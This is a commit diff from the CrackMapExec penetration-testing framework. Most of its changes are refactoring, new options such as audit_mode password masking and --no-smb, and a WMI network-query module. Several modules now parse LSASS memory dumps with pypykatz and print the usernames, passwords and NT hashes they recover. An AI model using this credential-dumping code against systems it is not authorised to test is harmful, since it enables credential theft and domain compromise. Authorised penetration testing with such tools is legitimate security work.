Determine architecture using os_arch
commit
e8fee88ac7
|
@ -1,6 +1,12 @@
|
|||
name: CrackMapExec Tests & Build
|
||||
|
||||
on: [push]
|
||||
on:
|
||||
workflow_dispatch:
|
||||
branches: [ main ]
|
||||
push:
|
||||
branches: [ main ]
|
||||
pull_request:
|
||||
branches: [ main ]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
|
|
|
@ -27,4 +27,4 @@
|
|||
url = https://github.com/huntergregal/mimipenguin
|
||||
[submodule "cme/data/RID-Hijacking"]
|
||||
path = cme/data/RID-Hijacking
|
||||
url = https://github.com/r4wd3r/RID-Hijacking.git
|
||||
url = https://github.com/r4wd3r/RID-Hijacking.git
|
|
@ -7,7 +7,7 @@ from termcolor import colored
|
|||
|
||||
def gen_cli_args():
|
||||
|
||||
VERSION = '5.2.3'
|
||||
VERSION = '5.2.6'
|
||||
CODENAME = "The Dark Knight"
|
||||
|
||||
p_loader = protocol_loader()
|
||||
|
|
|
@ -93,13 +93,13 @@ class connection(object):
|
|||
if self.create_conn_obj():
|
||||
self.enum_host_info()
|
||||
self.proto_logger()
|
||||
self.print_host_info()
|
||||
# because of null session
|
||||
if self.login() or (self.username == '' and self.password == ''):
|
||||
if hasattr(self.args, 'module') and self.args.module:
|
||||
self.call_modules()
|
||||
else:
|
||||
self.call_cmd_args()
|
||||
if self.print_host_info():
|
||||
# because of null session
|
||||
if self.login() or (self.username == '' and self.password == ''):
|
||||
if hasattr(self.args, 'module') and self.args.module:
|
||||
self.call_modules()
|
||||
else:
|
||||
self.call_cmd_args()
|
||||
|
||||
def call_cmd_args(self):
|
||||
for k, v in vars(self.args).items():
|
||||
|
|
|
@ -75,6 +75,8 @@ async def run_protocol(loop, protocol_obj, args, db, target, jitter):
|
|||
except asyncio.CancelledError:
|
||||
logging.debug("Stopping thread")
|
||||
thread.cancel()
|
||||
except sqlite3.OperationalError as e:
|
||||
logging.debug("Sqlite error - sqlite3.operationalError - {}".format(str(e)))
|
||||
|
||||
async def start_threadpool(protocol_obj, args, db, targets, jitter):
|
||||
pool = ThreadPoolExecutor(max_workers=args.threads + 1)
|
||||
|
@ -261,4 +263,4 @@ def main():
|
|||
module_server.shutdown()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
main()
|
||||
|
|
|
@ -2,6 +2,7 @@
|
|||
workspace = default
|
||||
last_used_db = smb
|
||||
pwn3d_label = Pwn3d!
|
||||
audit_mode =
|
||||
|
||||
[BloodHound]
|
||||
bh_enabled = False
|
||||
|
|
|
@ -28,7 +28,7 @@ def first_run_setup(logger):
|
|||
logger.info('Creating home directory structure')
|
||||
os.mkdir(CME_PATH)
|
||||
|
||||
folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts']
|
||||
folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts', 'screenshots']
|
||||
for folder in folders:
|
||||
if not os.path.exists(os.path.join(CME_PATH, folder)):
|
||||
os.mkdir(os.path.join(CME_PATH, folder))
|
||||
|
@ -73,6 +73,8 @@ def first_run_setup(logger):
|
|||
config.read(CONFIG_PATH)
|
||||
config.get('CME', 'workspace')
|
||||
config.get('CME', 'pwn3d_label')
|
||||
config.get('CME', 'audit_mode')
|
||||
config.get('BloodHound', 'bh_enabled')
|
||||
except (NoSectionError, NoOptionError):
|
||||
logger.info('Old configuration file detected, replacing with new version')
|
||||
default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf')
|
||||
|
|
|
@ -34,13 +34,13 @@ def add_user_bh(user, domain, logger, config):
|
|||
logger.highlight("Node {} successfully set as owned in BloodHound".format(user_owned))
|
||||
except AuthError as e:
|
||||
logger.error(
|
||||
"Provided Neo4J credentials ({}:{}) are not valid.".format(config.get('Bloodhound', 'bh_user'), config.get('Bloodhound', 'bh_pass')))
|
||||
"Provided Neo4J credentials ({}:{}) are not valid.".format(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')))
|
||||
return
|
||||
except ServiceUnavailable as e:
|
||||
logger.error("Neo4J does not seem to be available on {}.".format(uri))
|
||||
return
|
||||
except Exception as e:
|
||||
logger.error("Unexpected error with Neo4J")
|
||||
logger.error("Error : ".format(str(e)))
|
||||
logger.error("Account not found on the domain")
|
||||
return
|
||||
driver.close()
|
|
@ -1,6 +1,3 @@
|
|||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
|
||||
class CMEModule:
|
||||
'''
|
||||
Module by Shutdown and Podalirius
|
||||
|
@ -22,13 +19,10 @@ class CMEModule:
|
|||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
def on_login(self, context, connection):
|
||||
result = []
|
||||
context.log.info('Getting the MachineAccountQuota')
|
||||
searchFilter = '(objectClass=*)'
|
||||
attributes = ['ms-DS-MachineAccountQuota']
|
||||
result = connection.search(searchFilter, attributes, 1)
|
||||
for item in result:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
context.log.highlight("MachineAccountQuota: %d" % item['attributes'][0]['vals'][0])
|
||||
result = connection.search(searchFilter, attributes)
|
||||
context.log.highlight("MachineAccountQuota: %d" % result[0]['attributes'][0]['vals'][0])
|
||||
|
|
|
@ -0,0 +1,37 @@
|
|||
from datetime import datetime
|
||||
from cme.helpers.logger import write_log
|
||||
import json
|
||||
|
||||
class CMEModule:
|
||||
'''
|
||||
Uses WMI to extract network connections, used to find multi-homed hosts.
|
||||
Module by @fang0654
|
||||
|
||||
'''
|
||||
|
||||
name = 'get_netconnections'
|
||||
description = 'Uses WMI to query network connections.'
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe= True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
No options
|
||||
'''
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
data = []
|
||||
cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
|
||||
for c in cards:
|
||||
if c['IPAddress'].get('value'):
|
||||
context.log.success(f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}")
|
||||
|
||||
data.append(cards)
|
||||
|
||||
log_name = 'network-connections-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
||||
write_log(json.dumps(data), log_name)
|
||||
context.log.info("Saved raw output to {}".format(log_name))
|
||||
|
|
@ -122,29 +122,33 @@ class CMEModule:
|
|||
chunk[i] ^= 0x41
|
||||
|
||||
h_out.write(bytes(chunk))
|
||||
|
||||
context.log.info("pypykatz lsa minidump {} --outfile {}.txt".format(self.dir_result + machine_name + ".decode", self.dir_result + machine_name))
|
||||
|
||||
try:
|
||||
context.log.info('Invoke pypykatz in order to extract the credentials ...')
|
||||
os.system("pypykatz lsa minidump " + self.dir_result + machine_name + ".decode --outfile " + self.dir_result + machine_name + ".txt >/dev/null 2>&1")
|
||||
context.log.info("Extracted credentials:")
|
||||
with open(self.dir_result + machine_name + ".txt", 'r') as outfile:
|
||||
data = outfile.read()
|
||||
regex = r"(?:username:? (?!NA)(?P<username>.+[^\$])\n.*domain(?:name)?:? (?P<domain>.+)\n)(?:.*password:? (?!None)(?P<password>.+)|.*\n.*NT: (?P<hash>.*))"
|
||||
matches = re.finditer(regex, data, re.MULTILINE | re.IGNORECASE)
|
||||
|
||||
|
||||
with open(self.dir_result + machine_name + ".decode", 'rb') as dump:
|
||||
try:
|
||||
credentials = []
|
||||
credz_bh = []
|
||||
domain = ""
|
||||
for match in matches:
|
||||
domain = match.group("domain")
|
||||
username = match.group("username")
|
||||
password = match.group("password") or match.group("hash")
|
||||
context.log.success(highlight(domain + "\\" + username + ":" + password))
|
||||
if "." not in domain and domain.upper() in connection.domain.upper():
|
||||
domain = connection.domain
|
||||
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
|
||||
if domain:
|
||||
add_user_bh(credz_bh, domain, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.error('Error while execute pypykatz: {}'.format(e))
|
||||
context.log.error('Please make sure pypykatz is installed (pip3 install pypykatz)')
|
||||
pypy_parse = pypykatz.parse_minidump_external(dump)
|
||||
|
||||
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
|
||||
'tspkg_creds']
|
||||
for luid in pypy_parse.logon_sessions:
|
||||
|
||||
for ssp in ssps:
|
||||
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
|
||||
domain = getattr(cred, "domainname", None)
|
||||
username = getattr(cred, "username", None)
|
||||
password = getattr(cred, "password", None)
|
||||
NThash = getattr(cred, "NThash", None)
|
||||
if NThash is not None:
|
||||
NThash = NThash.hex()
|
||||
if username and (password or NThash) and "$" not in username:
|
||||
print_pass = password if password else NThash
|
||||
context.log.highlight(domain + "\\" + username + ":" + print_pass)
|
||||
if "." not in domain and domain.upper() in connection.domain.upper():
|
||||
domain = connection.domain
|
||||
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
|
||||
if len(credz_bh) > 0:
|
||||
add_user_bh(credz_bh, None, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.error('Error openning dump file', str(e))
|
|
@ -86,7 +86,7 @@ class CMEModule:
|
|||
self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
|
||||
self.print_credentials(context, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
|
||||
credz_bh.append({'username': cred["username"].upper(), 'domain': domain.upper()})
|
||||
add_user_bh(credz_bh, domain, context.log, connection.config)
|
||||
add_user_bh(credz_bh, domain, context.log, connection.config)
|
||||
|
||||
@staticmethod
|
||||
def print_credentials(context, domain, username, password, lmhash, nthash):
|
||||
|
|
|
@ -2,14 +2,9 @@
|
|||
# author of the module : github.com/mpgn
|
||||
# nanodump: https://github.com/helpsystems/nanodump
|
||||
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
from io import StringIO
|
||||
import base64
|
||||
import random
|
||||
import string
|
||||
from cme.helpers.logger import highlight
|
||||
from cme.helpers.bloodhound import add_user_bh
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
|
||||
class CMEModule:
|
||||
|
||||
|
@ -130,29 +125,32 @@ class CMEModule:
|
|||
fh.seek(6)
|
||||
fh.write(b'\x00\x00')
|
||||
fh.close()
|
||||
|
||||
context.log.info('pypykatz lsa minidump "{}" --outfile "{}.txt"'.format(self.dir_result + nano_log_name, self.dir_result + nano_log_name))
|
||||
|
||||
try:
|
||||
context.log.info('Invoke pypykatz in order to extract the credentials ...')
|
||||
os.system('pypykatz lsa minidump "' + self.dir_result + nano_log_name + '" --outfile "' + self.dir_result + nano_log_name + '.txt" >/dev/null 2>&1')
|
||||
context.log.info("Extracted credentials:")
|
||||
with open(self.dir_result + nano_log_name + ".txt", 'r') as outfile:
|
||||
data = outfile.read()
|
||||
regex = r"(?:username:? (?!NA)(?P<username>.+[^\$])\n.*domain(?:name)?:? (?P<domain>.+)\n)(?:.*password:? (?!None)(?P<password>.+)|.*\n.*NT: (?P<hash>.*))"
|
||||
matches = re.finditer(regex, data, re.MULTILINE | re.IGNORECASE)
|
||||
with open(self.dir_result + machine_name, 'rb') as dump:
|
||||
try:
|
||||
credentials = []
|
||||
credz_bh = []
|
||||
domain = ""
|
||||
for match in matches:
|
||||
domain = match.group("domain")
|
||||
username = match.group("username")
|
||||
password = match.group("password") or match.group("hash")
|
||||
context.log.success(highlight(domain + "\\" + username + ":" + password))
|
||||
if "." not in domain and domain.upper() in connection.domain.upper():
|
||||
domain = connection.domain
|
||||
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
|
||||
if domain:
|
||||
add_user_bh(credz_bh, domain, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.error('Error while executing pypykatz: {}'.format(e))
|
||||
context.log.error('Please make sure pypykatz is installed (pip3 install pypykatz)')
|
||||
pypy_parse = pypykatz.parse_minidump_external(dump)
|
||||
|
||||
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
|
||||
'tspkg_creds']
|
||||
for luid in pypy_parse.logon_sessions:
|
||||
|
||||
for ssp in ssps:
|
||||
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
|
||||
domain = getattr(cred, "domainname", None)
|
||||
username = getattr(cred, "username", None)
|
||||
password = getattr(cred, "password", None)
|
||||
NThash = getattr(cred, "NThash", None)
|
||||
if NThash is not None:
|
||||
NThash = NThash.hex()
|
||||
if username and (password or NThash) and "$" not in username:
|
||||
print_pass = password if password else NThash
|
||||
context.log.highlight(domain + "\\" + username + ":" + print_pass)
|
||||
if "." not in domain and domain.upper() in connection.domain.upper():
|
||||
domain = connection.domain
|
||||
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
|
||||
if len(credz_bh) > 0:
|
||||
add_user_bh(credz_bh, None, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.error('Error openning dump file', str(e))
|
||||
|
|
|
@ -4,11 +4,8 @@
|
|||
# v0.4
|
||||
|
||||
from io import StringIO
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import time
|
||||
import base64
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
|
||||
class CMEModule:
|
||||
|
||||
|
@ -110,28 +107,31 @@ class CMEModule:
|
|||
except Exception as e:
|
||||
context.log.error('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e))
|
||||
|
||||
context.log.info("pypykatz lsa minidump {} --outfile {}.txt".format(self.dir_result + machine_name, self.dir_result + machine_name))
|
||||
|
||||
try:
|
||||
context.log.info('Invoke pypykatz in order to extract the credentials ...')
|
||||
os.system("pypykatz lsa minidump " + self.dir_result + machine_name + " --outfile " + self.dir_result + machine_name + ".txt >/dev/null 2>&1")
|
||||
context.log.info("Extracted credentials:")
|
||||
with open(self.dir_result + machine_name + ".txt", 'r') as outfile:
|
||||
data = outfile.read()
|
||||
regex = r"(?:username:? (?!NA)(?P<username>.+[^\$])\n.*domain(?:name)?:? (?P<domain>.+)\n)(?:.*password:? (?!None)(?P<password>.+)|.*\n.*NT: (?P<hash>.*))"
|
||||
matches = re.finditer(regex, data, re.MULTILINE | re.IGNORECASE)
|
||||
with open(self.dir_result + machine_name, 'rb') as dump:
|
||||
try:
|
||||
credentials = []
|
||||
credz_bh = []
|
||||
domain = ""
|
||||
for match in matches:
|
||||
domain = match.group("domain")
|
||||
username = match.group("username")
|
||||
password = match.group("password") or match.group("hash")
|
||||
context.log.success(highlight(domain + "\\" + username + ":" + password))
|
||||
if "." not in domain and domain.upper() in connection.domain.upper():
|
||||
domain = connection.domain
|
||||
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
|
||||
if domain:
|
||||
add_user_bh(credz_bh, domain, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.error('Error while execute pypykatz: {}'.format(e))
|
||||
context.log.error('Please make sure pypykatz is installed (pip3 install pypykatz)')
|
||||
pypy_parse = pypykatz.parse_minidump_external(dump)
|
||||
|
||||
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
|
||||
'tspkg_creds']
|
||||
for luid in pypy_parse.logon_sessions:
|
||||
|
||||
for ssp in ssps:
|
||||
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
|
||||
domain = getattr(cred, "domainname", None)
|
||||
username = getattr(cred, "username", None)
|
||||
password = getattr(cred, "password", None)
|
||||
NThash = getattr(cred, "NThash", None)
|
||||
if NThash is not None:
|
||||
NThash = NThash.hex()
|
||||
if username and (password or NThash) and "$" not in username:
|
||||
print_pass = password if password else NThash
|
||||
context.log.highlight(domain + "\\" + username + ":" + print_pass)
|
||||
if "." not in domain and domain.upper() in connection.domain.upper():
|
||||
domain = connection.domain
|
||||
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
|
||||
if len(credz_bh) > 0:
|
||||
add_user_bh(credz_bh, None, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.error('Error openning dump file', str(e))
|
||||
|
|
|
@ -59,6 +59,7 @@ class ldap(connection):
|
|||
ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
|
||||
ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
|
||||
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
|
||||
ldap_parser.add_argument("--no-smb", action='store_true', help='No smb connection')
|
||||
dgroup = ldap_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
|
||||
|
@ -109,51 +110,66 @@ class ldap(connection):
|
|||
return 0
|
||||
|
||||
def enum_host_info(self):
|
||||
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
try:
|
||||
self.conn.login('' , '')
|
||||
except:
|
||||
#if "STATUS_ACCESS_DENIED" in e:
|
||||
pass
|
||||
|
||||
self.domain = self.conn.getServerDNSDomainName()
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
|
||||
self.os_arch = self.get_os_arch()
|
||||
|
||||
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
self.output_filename = self.output_filename.replace(":", "-")
|
||||
|
||||
if not self.domain:
|
||||
self.domain = self.hostname
|
||||
|
||||
try:
|
||||
'''plaintext_login
|
||||
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
|
||||
(go home Windows, you're drunk)
|
||||
'''
|
||||
self.conn.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
if self.args.domain:
|
||||
# smb no open, specify the domain
|
||||
if self.args.no_smb:
|
||||
self.domain = self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
#self.logger.extra['hostname'] = self.hostname
|
||||
else:
|
||||
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
#Re-connect since we logged off
|
||||
self.create_conn_obj()
|
||||
try:
|
||||
self.conn.login('' , '')
|
||||
except:
|
||||
#if "STATUS_ACCESS_DENIED" in e:
|
||||
pass
|
||||
|
||||
self.domain = self.conn.getServerDNSDomainName()
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
|
||||
self.os_arch = self.get_os_arch()
|
||||
|
||||
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
self.output_filename = self.output_filename.replace(":", "-")
|
||||
|
||||
if not self.domain:
|
||||
self.domain = self.hostname
|
||||
|
||||
try:
|
||||
'''plaintext_login
|
||||
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
|
||||
(go home Windows, you're drunk)
|
||||
'''
|
||||
self.conn.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
#Re-connect since we logged off
|
||||
self.create_conn_obj()
|
||||
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
|
||||
' x{}'.format(self.os_arch) if self.os_arch else '',
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.signing,
|
||||
self.smbv1))
|
||||
if self.args.no_smb:
|
||||
self.logger.extra['protocol'] = "LDAP"
|
||||
self.logger.extra['port'] = "389"
|
||||
self.logger.info(u"Connecting to LDAP {}".format(self.hostname))
|
||||
#self.logger.info(self.endpoint)
|
||||
else:
|
||||
self.logger.extra['protocol'] = "SMB"
|
||||
self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
|
||||
' x{}'.format(self.os_arch) if self.os_arch else '',
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.signing,
|
||||
self.smbv1))
|
||||
self.logger.extra['protocol'] = "LDAP"
|
||||
#self.logger.info(self.endpoint)
|
||||
return True
|
||||
|
||||
def kerberos_login(self, domain, aesKey, kdcHost):
|
||||
|
@ -238,13 +254,14 @@ class ldap(connection):
|
|||
# Connect to LDAP
|
||||
out = u'{}{}:{} {}'.format('{}\\'.format(domain),
|
||||
username,
|
||||
password,
|
||||
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||
self.logger.extra['protocol'] = "LDAP"
|
||||
self.logger.extra['port'] = "389"
|
||||
self.logger.success(out)
|
||||
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
|
||||
|
@ -261,14 +278,14 @@ class ldap(connection):
|
|||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
||||
self.username,
|
||||
self.password,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
||||
color='magenta' if errorCode in ldap_error_status else 'red')
|
||||
else:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
||||
self.username,
|
||||
self.password,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
||||
color='magenta' if errorCode in ldap_error_status else 'red')
|
||||
return False
|
||||
|
@ -276,7 +293,7 @@ class ldap(connection):
|
|||
except OSError as e:
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
||||
self.username,
|
||||
self.password,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
|
||||
return False
|
||||
|
||||
|
@ -327,13 +344,14 @@ class ldap(connection):
|
|||
self.check_if_admin()
|
||||
out = u'{}{}:{} {}'.format('{}\\'.format(domain),
|
||||
username,
|
||||
nthash,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||
self.logger.extra['protocol'] = "LDAP"
|
||||
self.logger.extra['port'] = "389"
|
||||
self.logger.success(out)
|
||||
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
|
@ -349,21 +367,21 @@ class ldap(connection):
|
|||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
||||
self.username,
|
||||
self.password,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
||||
color='magenta' if errorCode in ldap_error_status else 'red')
|
||||
else:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
||||
self.username,
|
||||
self.password,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
||||
color='magenta' if errorCode in ldap_error_status else 'red')
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
||||
self.username,
|
||||
self.nthash,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
|
||||
return False
|
||||
|
||||
|
@ -394,12 +412,14 @@ class ldap(connection):
|
|||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
if self.create_smbv1_conn():
|
||||
if not self.args.no_smb:
|
||||
if self.create_smbv1_conn():
|
||||
return True
|
||||
elif self.create_smbv3_conn():
|
||||
return True
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
elif self.create_smbv3_conn():
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def sid_to_str(self, sid):
|
||||
|
||||
|
|
|
@ -93,7 +93,7 @@ class LDAPConnect:
|
|||
return False
|
||||
|
||||
except OSError as e:
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(domain,
|
||||
self.logger.debug(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
password if password else ntlm_hash,
|
||||
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
|
||||
|
|
|
@ -175,16 +175,17 @@ class mssql(connection):
|
|||
|
||||
out = u'{}{}:{} {}'.format('{}\\'.format(domain) if not self.args.local_auth else '',
|
||||
username,
|
||||
password,
|
||||
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||
self.logger.success(out)
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
password,
|
||||
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
e))
|
||||
return False
|
||||
|
||||
|
@ -221,16 +222,17 @@ class mssql(connection):
|
|||
|
||||
out = u'{}\\{} {} {}'.format(domain,
|
||||
username,
|
||||
ntlm_hash,
|
||||
ntlm_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||
self.logger.success(out)
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
ntlm_hash,
|
||||
ntlm_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
e))
|
||||
return False
|
||||
|
||||
|
|
|
@ -0,0 +1,215 @@
|
|||
import logging
|
||||
import asyncio
|
||||
from cme.connection import *
|
||||
from cme.helpers.logger import highlight
|
||||
from cme.logger import CMEAdapter
|
||||
|
||||
try:
|
||||
from aardwolf import logger
|
||||
from aardwolf.commons.url import RDPConnectionURL
|
||||
from aardwolf.commons.iosettings import RDPIOSettings
|
||||
from aardwolf.protocol.x224.constants import SUPP_PROTOCOLS
|
||||
from aardwolf.commons.queuedata.constants import MOUSEBUTTON, VIDEO_FORMAT
|
||||
except ImportError:
|
||||
print("aardwolf librairy is missing, you need to install the submodule")
|
||||
print("run the command: ")
|
||||
exit()
|
||||
|
||||
logger.setLevel(logging.CRITICAL)
|
||||
|
||||
rdp_error_status = {
|
||||
'-1073741711': 'STATUS_PASSWORD_EXPIRED',
|
||||
'-1073741260': 'STATUS_ACCOUNT_LOCKED_OUT',
|
||||
'-1073741710' : 'STATUS_ACCOUNT_DISABLED',
|
||||
'-1073741421' : 'STATUS_ACCOUNT_EXPIRED',
|
||||
'-1073741714' : 'STATUS_ACCOUNT_RESTRICTION',
|
||||
'-1073741713' : 'STATUS_INVALID_LOGON_HOURS',
|
||||
'-1073741712' : 'STATUS_INVALID_WORKSTATION',
|
||||
'-1073741477' : 'STATUS_LOGON_TYPE_NOT_GRANTED',
|
||||
'-1073741276' : 'STATUS_PASSWORD_MUST_CHANGE',
|
||||
'-1073741790' : 'STATUS_ACCESS_DENIED',
|
||||
'-1073741715' : 'STATUS_LOGON_FAILURE'
|
||||
}
|
||||
|
||||
class rdp(connection):
|
||||
|
||||
def __init__(self, args, db, host):
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.iosettings = RDPIOSettings()
|
||||
self.iosettings.supported_protocols = ""
|
||||
self.protoflags = self.protoflags = [SUPP_PROTOCOLS.RDP, SUPP_PROTOCOLS.SSL, SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP, SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.HYBRID, SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.HYBRID_EX]
|
||||
self.iosettings.channels = []
|
||||
width, height = args.res.upper().split('X')
|
||||
height = int(height)
|
||||
width = int(width)
|
||||
self.iosettings.video_width = width
|
||||
